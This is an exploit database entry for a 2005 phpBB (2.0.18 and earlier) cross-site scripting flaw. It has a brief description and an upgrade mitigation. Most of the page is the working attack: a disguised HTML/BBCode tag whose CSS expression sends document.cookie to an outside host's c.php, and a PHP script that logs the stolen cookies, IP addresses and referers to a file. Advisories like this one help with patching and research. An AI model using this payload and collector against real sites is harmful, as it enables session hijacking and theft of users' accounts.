header-logo
Suggest Exploit
vendor:
phpBB
by:
(cXIb8O3) and jet
7,5
CVSS
HIGH
Cross-site Scripting (XSS)
79
CWE
Product Name: phpBB
Affected Version From: 2.0.18 and earlier
Affected Version To: 2.0.18
Patch Exists: YES
Related CWE: N/A
CPE: a:phpbb:phpbb
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2005

phpBB <= 2.0.18 XSS Cookie Disclosure Proof of Concept

This proof of concept exploit is for a Cross-site Scripting (XSS) vulnerability in phpBB version 2.0.18 and earlier. The exploit involves a maliciously crafted HTML tag that contains a JavaScript expression that is evaluated by the browser. This expression contains a call to a remote script (c.php) that logs the user's cookie information to a log file. The malicious HTML tag is then sent to the user's browser, which evaluates the expression and sends the cookie information to the remote script.

Mitigation:

Upgrade to the latest version of phpBB, which is not vulnerable to this exploit.
Source

Exploit-DB raw data:

/******************************************************************

phpBB <= 2.0.18 XSS Cookie Disclosure Proof of Concept
	-- 'the html is on exploit'

original exploit by:  (cXIb8O3) - 12/16/2005
proof of concept by: jet
	-- http://jet.carbon-4.net/
	
		develop a pure, lucid mind, not 
		depending upon sound, flavor,
		touch, odor, or any quality.
				- the diamond sutra

******************************************************************/

phpbb code:

<B C=">" ''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=null`style='font-size:0; X="<B ">'</B>

c.php:

<?php
 $cookie = $_GET['c'];
 $ip = getenv ('REMOTE_ADDR');
 $date=date("m/d/Y g:i:s a");
 $referer=getenv ('HTTP_REFERER');
 $fl = fopen('log.txt', 'a');
 fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
 fclose($fl);
?>

# milw0rm.com [2005-12-21]